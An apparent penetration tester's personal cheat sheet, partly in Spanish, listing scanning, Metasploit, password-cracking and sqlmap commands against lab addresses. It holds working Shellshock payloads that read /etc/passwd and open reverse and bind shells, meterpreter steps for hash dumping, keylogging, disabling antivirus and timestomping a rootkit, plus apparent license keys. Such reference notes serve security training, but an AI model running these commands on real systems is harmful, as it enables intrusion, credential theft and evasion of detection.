[TOOLS]

https://www.concise-courses.com/hacking-tools/
http://www.exploit-db.com

WHATWEB
HTTP-RECON
BURPSUITE
OWASP-ZAP
NESSUS
GFI NETWORK SCANNER (Module 3 - Scanning) - languar-[GFI LanGuard 2015 build 20150130.exe
NIKTO
MEDUSA
WGET
SQLMAP
NMAP (SCRIPTS)
ZENMAP
NETDISCOVER
ETHERAPE
WIRESHARK
TSHARK
DSNIFF
URLSNARF
FOCA
PROCESS EXPLORER
MSF(session -l | sessions -i #)

1. **METASPLOIT SCANNERS(VNC, SHARING FOLDERS)**
2. **Armitage**
3. **Ping Sweep**
4. **Banner Grabbing**
5. **System Versions**

[BLOG]

http://dev4sec.blogspot.com/

[Vulnerable Projects]
https://code.google.com/p/owaspbwa/wiki/UserGuide

[TOOLS]

https://www.concise-courses.com/hacking-tools
http://www.kitploit.com/

VIRUSTOTAL

WEBMAIL(education@cldeveloper.com)
http://webmail.cpanel.ecowebhosting.co.uk/webmail-new/index.php

Compiling the proof of concept code

 # gcc 10.c -o SambaVuln10

SHEET CHEAT

[MEMORY DUMP]

- MEMDUMP
- DUMPIT
- VOL

[HEARTBLEED]
http://nmap.org/nsedoc/scripts/ssl-heartbleed.html
https://cyberarms.files.wordpress.com/2014/04/nmap-heartbleed-vulnerable-detected.png

[ANONYMOUS]

- **Macchanger**
- **Proxychains**
- **Tor**

[NMAP]

- **nmap -sP** 192.168.1.0/24 |awk '{print $6}'
- nmap **-sV** -A -O 192.168.1.0/24 --open -oX OutputName.xml
- nmap **-sV --script** ssl-heartbleed.nse 192.168.1.103
- nmap **-p 443** --script ssl-heartbleed <target>
- nmap -p 443 --script ssl-heartbleed.nse 192.168.1.103
- nmap **-f -n -P0 -v -p- -T4** 192.168.75.0/24
- nmap **-n -sTUV -pT:22**,80,111,139,443,32768,U:111,137,32768 192.168.75.14
- nmap **-p 1-65535 -T4 -A -v -D** 10.0.0.141 10.0.0.142
- nmap **-O -D** 10.0.0.141 10.0.0.142
- nmap **-sV --script**=dhcp-discover <target>

cat nm_sweep.txt |grep Host|cut -d " " -f2

[METASPLOIT]

- **msf>db_connect** postgres:myPassword@127.0.0.1/pentester
- **msf>db_nmap** -nO -sTU -pT:22,80,111,139,443,32768,U:111,137,32768 192.168.75.14
- **msf>db_import** archivo.xml

- Msf>info **Windows/smb/ms08_067_netapi**
- Msf> **exploit/windows/browser/ms10_046_shortcut_icon_dllloader**
- Msf> **exploit/windows/browser/ms10_002_aurora**
- Msf> Set payload Windows/vncinject/reverse_tcp
- Msf>ms03_026_dcom -> shell_bind_tcp
- msf > **use auxiliary/scanner/portscan/tcpmsf > use auxiliary/scanner/portscan/tcp**
- **msf> use post/windows/gather/hashdump**
- **msf>post(hashdump) db_export -f pwdump** /ksanchez/password.txt
- msf>post(hashdump) use auxiliary/analyze/jtr_crack_fast
- use auxiliary/scanner/smb/smb_login

- Hosts
- services -p 443
- vulns

- sessions
- sessions -i 3
- hashdump
- getsystem
- ps
- migrate
- shell
- idletime
- gethashes/hashdump
- winenum (C:\Documents and Settings\Administrador\.msf4\logs\scripts\winenum\VICTIMA_20120322.2225)
- enum_shares
- service_manager
- screen_unlock
- screenshot
- getwd/getlwd
- clearv
- execute -f calc.exe

- keyscan_start, keyscan_dump
- sniffer_interfaces, sniffer_start 2
- webcam
- killav
- shutdown
- timestomp rootkit.exe –v
- timestomp c:\\rootkit.exe –f c:\\prueba.txt

[ARMITAGE]

http://www.fastandeasyhacking.com/

msfpd -f -U msf -P msf_password -a 127.0.0.1 -p 5554 -S

[CRACKING PASSWORD]

- OPHCRACK

- **./john --show** /ksanchez/password.txt
- **./john –format=raw-md5** /root/passhashes.txt
- **./john /root/hash_file.txt --format=nt2 -user=Administrator**

[WINDOWS]

- Net accounts
- net share
- net user (net user HACKEDBYKSANCHEZ 123pass /add)

[SQLMAP]

- sqlmap.py -u <URL> --dbs
- sqlmap.py -u <URL> -D <BASE_DATOS> --tables
- sqlmap.py -u <URL> -T users --columns
- sqlmap.py -u <URL> -T users -c name -U test
- sqlmap.py -u <URL> -T users -c password -U test --dump
- sqlmap.py -u <URL> -T users -U test --dump
- `sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" --banner`
- `sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" --dbs`
- `sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog --tables`

- `sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog -T users --columns`
- `sqlmap.py -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog -T users --dump --batch`
-

[NBTSCAN]

nbtscan 192.168.1.0/24

[SAMPLES]

Example Usage

nmap -p 443 --script ssl-heartbleed <target>
http://nmap.org/nsedoc/scripts/ssl-heartbleed.html

Script Output

PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:

| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/

NMAP DHCP FINDER

nmap -sV --script=dhcp-discover <target>

Script Output

Interesting ports on 192.168.1.1:
PORT STATE SERVICE
67/udp open dhcps
| dhcp-discover:
| | DHCP Message Type: DHCPACK
| | Server Identifier: 192.168.1.1
| | IP Address Lease Time: 1 day, 0:00:00
| | Subnet Mask: 255.255.255.0
| | Router: 192.168.1.1
|_ |_ Domain Name Server: 208.81.7.10, 208.81.7.14

[Unicornscan]

Unicorn scan is a very fast scanner that can quickly scan the virtual lab for us

 # unicornscan -mT -r500 -I 192.168.75.0/24

 # unicornscan -mU -r500 -I 192.168.75.0/24

Banner grabbing with Netcat

 # ncat 192.168.75.14 80
 # nc 192.168.75.14 80
HEAD / HTTP 1.1

Banner grabbing with smbclient

One particularly interesting port that stands out is 139/TCP. With the smbclient tool we can grab the banner of this server.

 # smbclient -L 192.168.75.14 -N

./SambaVuln10 -v -d 0 -S 192.168.75
./SambaVuln10 -b 0 -v 192.168.75.14

[TFTP SERVER]

- **atftpd --daemon --port 69 --bind-address 192.168.75.12 /tmp**
- **netstat -anu |grep 69**

[BRUTE FORCE]

xhydra
medusa

[WEB HACKING]

[WEB INFO GATHERING]

Whatweb -v http://10.0.0.2

[Inspecting HTTP headers]

- `echo "HEAD / HTTP/1.1\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | netcat vulnerable 80`

- `GET / HTTP/1.1`

[DATABASE]

- **./sqlmap.py -u "http://192.168.1.136/newsletter&id=1" --cookie="PHPSESSID=ilu6l7aemran0kdcgerhfd1jv7" --dbms="MySQL" -v 1 --dbs**

- **./sqlmap.py -u http://10.0.0.12/cat.php?id=3**
-
- **/home/ksanchez/.sqlmap/output/10.0.0.12/**
- **/home/ksanchez/.sqlmap/output/10.0.0.12/log**
- **/home/ksanchez/.sqlmap/output/10.0.0.12/session.sqlite**
- **/home/ksanchez/.sqlmap/output/10.0.0.12/target.txt**
- **./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MYSQL"**
- **./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MYSQL" -v 1 --dbs**

- **./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MYSQL" -v 1 --dump**

- **./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MYSQL"**

- **./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MYSQL" -v 1 --dbs**

- **./sqlmap.py -u http://10.0.0.12/cat.php?id=3 --dbms="MYSQL" -v 1 --dump**

less /home/ksanchez/.sqlmap/output/10.0.0.12/dump/photoblog/users.csv
463 less /home/ksanchez/.sqlmap/output/10.0.0.12/dump/photoblog/categories.csv
464 less /home/ksanchez/.sqlmap/output/10.0.0.12
465 less /home/ksanchez/.sqlmap/output/10.0.0.12/session.sqlite
466 less /home/ksanchez/.sqlmap/output/10.0.0.12/target.txt

-

[SHELLSHOCK]

- **echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 10.0.0.9 80**

- echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 10.0.0.9 80

- echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc 10.0.0.9 80

- curl –H 'x: () { :;}; /bin/bash –I >& /dev/tcp/192.168.1.102 0>&1'

http://192.168.1.104/cgi-bin/vulnerable.sh

http://downloadcenter.trendmicro.com/

LICENCIAS

GFI NETWORK SCANNER (Module 3 - Scanning) - languar-[GFI LanGuard 2015 build

Your 30-day trial key:
c7yhBPdXFYEwLF1JP8agTyynxu1-fDfpn-D-10001

NESSUS HOME FEED

Your activation code for the Nessus Home is
39E2-92C2-A345-517F-5E0B

ACERCA DE MI

- Ingeniero en Sistemas Informáticos Universidad Central del Este (UCE)
- Profesor Universidad Dominicana O&M
- Maestria en Gerencia y Productividad - Universidad APEC
- Postgrado de Auditoria de Sistemas - Universidad O&M
- Comptia Security+ Certified

@ksanchez_cld

ksanchez_cld